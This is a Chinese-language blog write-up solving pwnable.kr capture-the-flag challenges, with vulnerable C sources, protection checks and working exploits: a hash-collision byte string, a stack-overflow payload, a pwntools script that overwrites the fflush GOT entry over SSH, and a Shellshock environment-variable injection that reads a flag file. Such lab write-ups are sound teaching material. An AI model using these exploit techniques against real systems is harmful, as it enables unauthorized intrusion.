本文最后更新于:2025年6月25日 上午
环境配置 使用ssh连接到远程shell
使用scp将远程文件传输到本地
1 2 3 4 - Use a specific port when connecting to the remote host: scp -P {{port}} {{path/to/local_file}} {{remote_host}}:{{path/to/remote_file}} scp -P 2222 [email protected] :/home/username/* .
使用pwntools远程连接到服务器并运行程序
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import * ssh = ssh(host='pwnable.kr' ,user='' ,password='' ,port=) sh=ssh.process('./xxx' ) elf=ELF('./xxx' ) sh.recv() payload= sh.sendline(payload)
fd 看一下fd程序的源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 $ cat fd.c#include <stdio.h> #include <stdlib.h> #include <string.h> char buf[32 ];int main (int argc, char * argv[], char * envp[]) { if (argc<2 ){ printf ("pass argv[1] a number\n" ); return 0 ; } int fd = atoi( argv[1 ] ) - 0x1234 ; int len = 0 ; len = read(fd, buf, 32 ); if (!strcmp ("LETMEWIN\n" , buf)){ printf ("good job :)\n" ); system("/bin/cat flag" ); exit (0 ); } printf ("learn about Linux file IO\n" ); return 0 ; }
以atoi( argv[1] ) - 0x1234
为fd,在其中读取32字节的字符串,之后与LETMEWIN比较,即可得到flag
1 2 3 $ ./fd 4660 LETMEWIN good job :)
collision 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 $ cat col.c#include <stdio.h> #include <string.h> unsigned long hashcode = 0x21DD09EC ;unsigned long check_password (const char * p) { int * ip = (int *)p; int i; int res=0 ; for (i=0 ; i<5 ; i++){ res += ip[i]; } return res; }int main (int argc, char * argv[]) { if (argc<2 ){ printf ("usage : %s [passcode]\n" , argv[0 ]); return 0 ; } if (strlen (argv[1 ]) != 20 ){ printf ("passcode length should be 20 bytes\n" ); return 0 ; } if (hashcode == check_password( argv[1 ] )){ system("/bin/cat flag" ); return 0 ; } else printf ("wrong passcode.\n" ); return 0 ; }
我们要输入20个字节,每四个字节(五个数字)会被当做int类型加在一起,也即是$4*5=20$。这五个数字的和必须满足是0x21DD09EC,才能得到flag
打开python,做一下加减乘除
$0x21DD09EC=568134124/5=113626824.8$
$568134124-4*113626824=113626828$
1 2 hex (113626824 )='0 x6 c5 cec8 'hex (113626828 )='0 x6 c5 cecc'
所以我们构造4个’0x6c5cec8’和一个0x6c5cecc就行了
由于小端序,我们需要将字节序列翻转一下
由于会出现不可见字符,我们很难把它们打印出来,因此可以使用python2的命令行脚本
1 ./col `python -c 'print "\xc8\xce\xc5\x06" * 4 + "\xcc\xce\xc5\x06"' `
bof 看一下源码,发现是一个简单的栈溢出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 #include <stdio.h> #include <string.h> #include <stdlib.h> void func (int key) { char overflowme[32 ]; printf ("overflow me : " ); gets(overflowme); if (key == 0xcafebabe ){ system("/bin/sh" ); } else { printf ("Nah..\n" ); } }int main (int argc, char * argv[]) { func(0xdeadbeef ); return 0 ; }
看一下保护
1 2 3 4 5 6 7 $ pwn checksec code/bof [*] '/home/philo/code/bof' Arch: i386-32 -little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
func函数只有一个参数key,这里传入的是0xdeadbeef,如果我们将这个参数改为0xcafebabe,那么就会触发system(“/bin/sh”)
算一下偏移
payload=b'a'*(0x2c+8)+p32(0xcafebabe)
flag 看一下保护
1 2 3 4 5 6 7 8 9 > pwn checksec ./flag [* ] '/home/philo/code/flag' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments Packer: Packed with UPX
加了upx壳,源莱氏,有bear来
脱个壳
1 2 3 4 5 6 7 8 9 10 11 12 $ sudo apt install upx $ upx -d flag Ultimate Packer for eXecutables Copyright (C) 1996 - 2018 UPX 3.95 Markus Oberhumer, Laszlo Molnar & John Reiser Aug 26th 2018 File size Ratio Format Name -------------------- ------ ----------- ----------- 883745 <- 335288 37.94% linux/amd64 flag Unpacked 1 file.
再看一下保护
1 2 3 4 5 6 7 > pwn checksec ./flag [*] '/home/philo/code/flag' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
这里把flagcopy到了dest
1 2 3 4 5 6 7 8 9 int __cdecl main (int argc, const char **argv, const char **envp) { char *dest; puts ("I will malloc() and strcpy the flag there. take it." , argv, envp); dest = (char *)malloc (100LL ); strcpy (dest, flag); return 0 ; }
看一下flag的引用
1 2 3 4 5 6 .data :00000000006C2070 flag dq offset aUpxSoundsLikeA.data :00000000006C2070 ; DATA XREF: main+20↑r.data :00000000006C2070 ; "UPX...? sounds like a delivery service " ... .rodata :0000000000496628 aUpxSoundsLikeA db 'UPX... ? sounds like a delivery service :)',0.rodata :0000000000496628 ; DATA XREF: .data :flag ↓o
一目了然了
passcode
这个题倒是比较有意思
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 #include <stdio.h> #include <stdlib.h> void login () { int passcode1; int passcode2; printf ("enter passcode1 : " ); scanf ("%d" , passcode1); fflush(stdin ); printf ("enter passcode2 : " ); scanf ("%d" , passcode2); printf ("checking...\n" ); if (passcode1==338150 && passcode2==13371337 ){ printf ("Login OK!\n" ); system("/bin/cat flag" ); } else { printf ("Login Failed!\n" ); exit (0 ); } }void welcome () { char name[100 ]; printf ("enter you name : " ); scanf ("%100s" , name); printf ("Welcome %s!\n" , name); }int main () { printf ("Toddler's Secure Login System 1.0 beta.\n" ); welcome(); login(); printf ("Now I can safely trust you that you have credential :)\n" ); return 0 ; }
scanf("%100s", name);
语句将输入的字符串写到name数组里面,由于welcome函数调用完之后会回收栈空间,但是栈空间内的数据不会被清理,因此我们可以通过写入的字符串的值影响login函数的栈的内存。此外,两个栈的esp都是相同的
注意到login函数内的scanf("%d", passcode1);
语句
一般来说,正确的语句应该是scanf("%d", &passcode1);
,这样的话,会将我们输入的值写到passcode1的地址对应的内存中
由于scanf("%d", passcode1);
少了一个&符号,因此我们输入的值会写到passcode1的内容 对应的内存中
比如说,passcode1的值为0xaaaabbbbccccdddd,那么0xaaaabbbbccccdddd地址处的值会被改写为我们输入的数据
使用ida计算偏移
name是ebp-70h
passcode1是ebp-10h
因此name往上0x60处便是passcode1的起始处
payload=b'a'*(0x60)+p32(elf.got['fflush'])
将passcode1的值改写为fflush函数的got表的值,这样我们就可以通过输入改写fflush的got表
找到返回地址0x080485E3
1 2 3 4 .text :080485E3 mov dword ptr [esp], offset command ; "/bin/cat flag" .text :080485 EA call _system .text :080485 EF leave .text :080485 F0 retn
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import * ssh = ssh(host='pwnable.kr' ,user='passcode' ,password='guest' ,port=2222 ) sh=ssh.process('./passcode' ) elf=ELF('./passcode' ) sh.recv() payload=b'a' *(0x60 )+p32(elf.got['fflush' ]) sh.sendline(payload) sh.recv() sh.sendline(str (0x080485E3 )) sleep(0.5 ) sh.interactive()
random 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 #include <stdio.h> int main () { unsigned int random; random = rand(); unsigned int key=0 ; scanf ("%d" , &key); if ( (key ^ random) == 0xdeadbeef ){ printf ("Good!\n" ); system("/bin/cat flag" ); return 0 ; } printf ("Wrong, maybe you should try 2^32 cases.\n" ); return 0 ; }
查看一下手册:
1 2 3 4 5 6 7 8 9 10 DESCRIPTION The rand() function returns a pseudo-random integer in the range 0 to RAND_MAX inclusive (i.e., the mathematical range [0 , RAND_MAX]). The srand() function sets its argument as the seed for a new sequence of pseudo-random inte‐ gers to be returned by rand(). These sequences are repeatable by calling srand() with the same seed value . If no seed value is provided, the rand() function is automatically seeded with a value of 1.
所以不调用srand,直接调用rand相当于把种子值设置为1,也就是说每次的rand值都是一样的
$key == 0xdeadbeef$,因此$key=0xdeadbeef ⊕ random$
mistake 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 #include <stdio.h> #include <fcntl.h> #define PW_LEN 10 #define XORKEY 1 void xor (char * s, int len) { int i; for (i=0 ; i<len; i++){ s[i] ^= XORKEY; } }int main (int argc, char * argv[]) { int fd; if (fd=open("/home/mistake/password" ,O_RDONLY,0400 ) < 0 ){ printf ("can't open password %d\n" , fd); return 0 ; } printf ("do not bruteforce...\n" ); sleep(time(0 )%20 ); char pw_buf[PW_LEN+1 ]; int len; if (!(len=read(fd,pw_buf,PW_LEN) > 0 )){ printf ("read error\n" ); close(fd); return 0 ; } char pw_buf2[PW_LEN+1 ]; printf ("input password : " ); scanf ("%10s" , pw_buf2); xor (pw_buf2, 10 ); if (!strncmp (pw_buf, pw_buf2, PW_LEN)){ printf ("Password OK\n" ); system("/bin/cat flag\n" ); } else { printf ("Wrong Password\n" ); } close(fd); return 0 ; }
注意看if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0)
,这里先是执行open("/home/mistake/password",O_RDONLY,0400) < 0
,由于open的返回值是打开的文件描述符,会大于0,因此此表达式的值为0,也即是说,fd被赋值为0
之后会
从标准输入读取内容到pw_buf
从标准输入读取内容到pw_buf2
将pw_buf2逐个字节与1进行异或
如果异或后的结果与pw_buf相同,则输出flag
第一次输入10个1,第二次输入10个0,那么10个0会分别与1进行异或,得到1,从而输出flag
shellshock 1 2 3 4 5 6 7 #include <stdio.h> int main () { setresuid(getegid(), getegid(), getegid()); setresgid(getegid(), getegid(), getegid()); system("/home/shellshock/bash -c 'echo shock_me'" ); return 0 ; }
这个程序开了个bash
1 2 3 4 5 shellshock@pwnable :~ $ foo='() { echo "wdnmd"; } ;/bin/cat ~/flag;' shellshock@pwnable :~ $ export foo shellshock@pwnable :~ $ ./shellshock only if I knew CVE-2014 -6271 ten years ago..!! Segmentation fault (core dumped)
原理:bash开子进程的时候,会将环境变量错误解释为函数,并执行。参考:https://github.com/LaPhilosophie/seedlab/tree/main/shellshock
有些题和pwn无关,kr暂时到此为止了